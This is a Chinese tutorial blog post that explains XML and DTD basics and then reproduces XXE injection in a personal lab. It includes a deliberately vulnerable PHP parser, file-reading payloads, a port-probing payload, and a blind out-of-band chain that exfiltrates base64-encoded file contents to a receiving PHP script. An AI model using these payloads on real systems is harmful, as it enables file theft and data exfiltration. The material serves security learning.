网络安全之XXE漏洞复现及防御(上篇)(技术进阶)

什么是XXE?

目录

什么是XXE?

一,课前预习XML

1,什么是XML?

2,XML文档结构

3,XML的基本语法:

4,验证

5,良好的XML

6,DTD约束

7,字符实体

【1】自定义实体

【2】参数实体

二,XXE漏洞复现

【1】通过外部实体注入读取文件

【2】通过外部实体注入扫描端口(很鸡肋)

【3】XXE注入后无回显

【4】靶场案例xxe_lab


XXE(XML External Entity Injection)指的是XML外部实体注入攻击。指的时攻击者利用没有正确的限制和禁用外部实体的使用这一漏洞攻击者在外部构造恶意实体的XML文档来实施攻击,这些恶意的外部实体可能造成我们的应用程序执行一些未授权的操作如:读取系统文件,执行系统命令,内网端口扫描,攻击内网网站等。

学习XXE漏洞之前先来学习一下XML吧!

一,课前预习XML

1,什么是XML?

XML,全称Extensible Markup Language,即可扩展标记语言,是一种标记语言,也是一种简单的数据存储语言。通俗点说,它就像一种特殊的“记事本”,可以用来描述、传输和存储数据。

2,XML文档结构
<?xml version='1.0' ?>   //声明这是一个xml文档
<!DOCTYPE users [                                
  <!ELEMENT users (user+)>                
  <!ELEMENT user ( name,age,gender )>  
  <!ATTLIST user id CDATA #REQUIRED>
  <!ELEMENT name    (#PCDATA)>                       //文档类型定义
  <!ELEMENT age    (#PCDATA)>
  <!ELEMENT gender (#PCDATA)>
]>
<users>
  <user id='1'>
    <name>zhangsan</name>
    <age>23</age>
    <gender>male</gender>                                //文档元素
    <br/>
  </user>
  <user id='2'>
    <name>lisi</name>
    <age>24</age>
    <gender>female</gender>
  </user>
</users>
3,XML的基本语法:

【1】文件后缀为.xml   

【2】xml文档必须声明:<?xml version='1.0' ?>

【3】xml文档中只有一个根标签:下面的<users></users>

【4】属性值必须用引号括起来: <person sex="female">

【5】标签必须正确关闭:<name>狗蛋</name>

【6】xml标签区分大小写

<?xml version='1.0' ?>
<users>
  <user id='1'>
    <name>zhangs</name>
    <age>23</age>
    <gender>male</gender>
  </user>
  <user id='2'>
<name>lis</name>
    <age>24</age>
    <gender>female</gender>
  </user>
</users>
4,验证

创建一个1.php文件进行验证

<?php
  libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
header('Content-Type: text/html; charset=utf-8');
print_r ($creds);
?>

我们将新建好的php文件放入phpstudy的www目录里面,然后根据步骤做

可以看到成功了

5,良好的XML

不规范xml:语法上没问题就是多了一些没必要的代码罢了。

规范的xml:语法和代码严谨不画蛇添足。

6,DTD约束

DTD(Document Type Definition,文档类型定义)主要用于约束XML文件,它定义了XML文档的元素、属性和实体的规范格式。

<?xml version='1.0' ?>
<!DOCTYPE users [                                 //定义一个users根元素
  <!ELEMENT users (user+)>                  //user+表示允许有多个user元素
  <!ELEMENT user ( name,age,gender )>  //user用户里面有name,age,gender三个子元素
  <!ATTLIST user id CDATA #REQUIRED> //每个user都必需要有一个id属性,CDATA:字符数据,#REQUIRED:必需的
  <!ELEMENT name    (#PCDATA)>    //这三行定义了三个元素,#PCDATA声明为字符数据纯文本
  <!ELEMENT age    (#PCDATA)>
  <!ELEMENT gender (#PCDATA)>
]>
<users>
  <user id='1'>
    <name>zhangsan</name>
    <age>23</age>
    <gender>male</gender>
    <br/>
  </user>
  <user id='2'>
    <name>lisi</name>
    <age>24</age>
    <gender>female</gender>
  </user>
</users>

在PHP study的www目录下新建一个2.php文件内容为:

<?php
$xmlString = $_POST['xml'];
libxml_use_internal_errors(true);
$dom = new DOMDocument();
$xmlFile = 'example.xml';
file_put_contents($xmlFile, $xmlString);

if ($dom->load('example.xml')) { // 加载XML文件
    if (!$dom->validate()) { // 验证DTD
        $errors = libxml_get_errors(); // 获取错误信息
        foreach($errors as $error) {
            echo "Error code: {$error->code}\n";
            echo "Error message: {$error->message}\n";
        }
    } else {
        echo 'Validation successful!';
    }
} else {
    echo 'Failed to load XML file.';
}
?>

测试数据:

xml=<?xml version='1.0' ?>
<!DOCTYPE users [
  <!ELEMENT users ( user+)>
  <!ELEMENT user ( name,age,gender )>
  <!ATTLIST user id CDATA #REQUIRED>
  <!ELEMENT name    (#PCDATA)>
  <!ELEMENT age    (#PCDATA)>
  <!ELEMENT gender (#PCDATA)>
]>
<users>
  <user id='1'>
    <name>zhangsan</name>
    <age>23</age>
    <gender>male</gender>
  </user>
  <user id='2'>
    <name>lisi</name>
    <age>24</age>
    <gender>female</gender>
  </user>
</users>

结果:

ATTLIST是XML DTD(文档类型定义)中用于定义元素属性的声明。它指定了可以属于某个元素的每个属性,并提供了有关这些属性的详细信息。

#REQUIRED    表示该属性必须设置,也就是上面例子中的id属性

#IMPLIED     表示该属性可以有也可以没有

#FIXED    用于指定一个属性的值是固定的,不能改变

7,字符实体

字符实体主要用于表示那些具有特殊含义的字符,以避免在HTML或XML代码中产生歧义或错误。

&lt;

<

小于

&gt;

>

大于

&amp;

&

和号

&apos;

'

省略号

&quot;

"

引号

【1】自定义实体

自定义实体就是我们自己定义的一个实体,例如:

我们在phpstudy的www目录下新建一个1.xml内容如下:

<?xml version='1.0' ?>
<!DOCTYPE person[
<!ELEMENT person (name)>
<!ENTITY mz  "wangwu">
]>
<users>
  <user id='1'>
    <name>&mz;</name>
    <age>23</age>
    <gender>male</gender>
  </user>
</users>

通过浏览器访问

代码解读:

1,<!ENTITY mz  "wangwu">  //自定义了一个实体(相当于一个实体名:mz,实体值:wangwu)

2,引用:&mz;(这里记得要打上分号啊不然会报错)

【2】参数实体

它的作用是避免重复输入相同的数据简化了代码的编写(可以理解为用一个短的名字替换了一个很长的字符串)。

1,定义一个参数实体

<!ENTITY %studentInfo "(id, name, sex, score*)">

2,引用这个参数实体

<!DOCTYPE root [  
  <!ELEMENT root (user+)>  
  <!ELEMENT student (%studentInfo;)>  
  <!ELEMENT id (#PCDATA)>  
  <!ELEMENT name (#PCDATA)>  
  <!ELEMENT sex (#PCDATA)>  
  <!ELEMENT score (#PCDATA)>  
]>

3,%studentInfo中有id,name,sex,score而student子元素又引用了它

<root>  
  <student>  
    <id>one</id>
    <name>店铺A</name>  
    <sex>male</sex>  
    <score>100</score>  
  </student>   
</root>

以上都后进明白了后就入实战吧!

二,XXE漏洞复现

【1】通过外部实体注入读取文件

首先我们在桌面新建一个1.txt文件内容为hello boy

然后在下面注入这条代码:

<?xml version = "1.0"?>  
<!DOCTYPE ANY [ 
<!ENTITY xxe SYSTEM "file:///C:/Users/lenovo/Desktop/1.txt">  
]>  
<duqu>&xxe;</duqu>

提交后出现hello boy说明注入成功的读取了文件的内容

代码解读:

1,!DOCTYPE ANY:自定义的一个文档类型

2,system:代码通过system这个关键字来访问了我们给的地址。

3,<duqu>&xxe;</duqu>:可以看出&xxe是一个自定义实体

【2】通过外部实体注入扫描端口(很鸡肋)
<?xml version = "1.0" encoding="UTF-8"?> 
<!DOCTYPE ANY [ 
<!ENTITY xxe SYSTEM "http://192.168.0.131:80/1.txt"> 
]> 
<dk>&xxe;</dk>

将上面的代码填入,提交后看到文件读取成功了,这个代码的原理呢就是通过80端口去访问1.txt文件如果访问成功了就说明对方的80端口是开启的,这样是不是非常鸡肋呢,拿网上的扫描工具和namp去扫端口它不香吗。

【3】XXE注入后无回显

1,啥是无回显?

就是没有显示数据呗

改成

注释掉后就不会有任何显示了,效果如下:

2,在虚拟机(被攻击者)新建一个get.php内容如下:

 3,在虚拟机(被攻击者)新建一个vil.dtd内容如下:

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C://Users//Administrator//Desktop//1.txt">    //这是被攻击者上的文件
<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://192.168.0.131/get.php?file=%file;'>">     //被攻击者的ip
%all;
%send;

 4,放在虚拟机(被攻击者)www目录下

攻击代码:

<?xml version = "1.0"?> <!DOCTYPE ANY[<!ENTITY % dtd SYSTEM "http://192.168.0.131/vil.dtd">%dtd;]>

进入攻击者的皮卡丘靶场里面:

 进入虚拟机查看file.txt:

 所以去解码,这里用的是火狐渗透版的hackbar工具

 4,代码解释

<?php
$data = $_GET['file'];  //获取我们提交的数据
$myfile = fopen("file.txt","w+");  //新建一个file.txt文件,w+的意思是可读可写
fwrite($myfile,$data);  //将数据写入file.txt文件中
fclose($myfile);  //保存并关闭file.txt文件
?>

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C://Users//lenovo//Desktop//1.txt">    
<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://192.168.0.131/get.php?file=%file;'>">    
%all;
%send;

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C://Users//lenovo//Desktop//1.txt">   

这里定义了一个名为file实体,使用system执行一个系统操作,php://filter/read=convert.base64-encode/resource=这个代码用来读取给定路径的文件并将其内容转换为base64格式。

<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://192.168.0.131/get.php?file=%file;'>">    

这里的&#25是一个实体%,如果直接用%的话会报错,send SYSTEM 'http://192.168.0.131/get.php?file=%file:将读取到的内容通过get.php写入到一个file.txt中。

问题来了为什么要在all实体中套一个内部实体呢?

因为当我们引用%all实体时会执行内部嵌套的send实体定义操作,我们这里的%send并没有直接定义,而是在%all内部定义的。

运行完%all定义完send实体后,就执行%send进行文件写入操作。

5,为什么要用dtd文档呢?

因为在dtd中声明标记中不能引用参数实体,只能引用外部dtd文档。

【4】靶场案例xxe_lab

1,打开靶场

2,打开bp抓包工具,抓取登录包

 3,修改代码为:

<!DOCTYPE ANY [
<!ENTITY  file SYSTEM "file:///C://Users//lenovo//Desktop//1.txt">
]>
<user><username>
&file;
</username><password>12313</password></user>


 

 

4,右击查看源码或f12查看源码看到:

 5,利用xxe漏洞读取doLogin文件内容

 

6,利用御剑或7kbscan扫描出登录页面

登录就欧克了。

以上就是我的学习笔记了,谢谢观看!!! 

  • 40
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

跟着狗蛋学安全

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值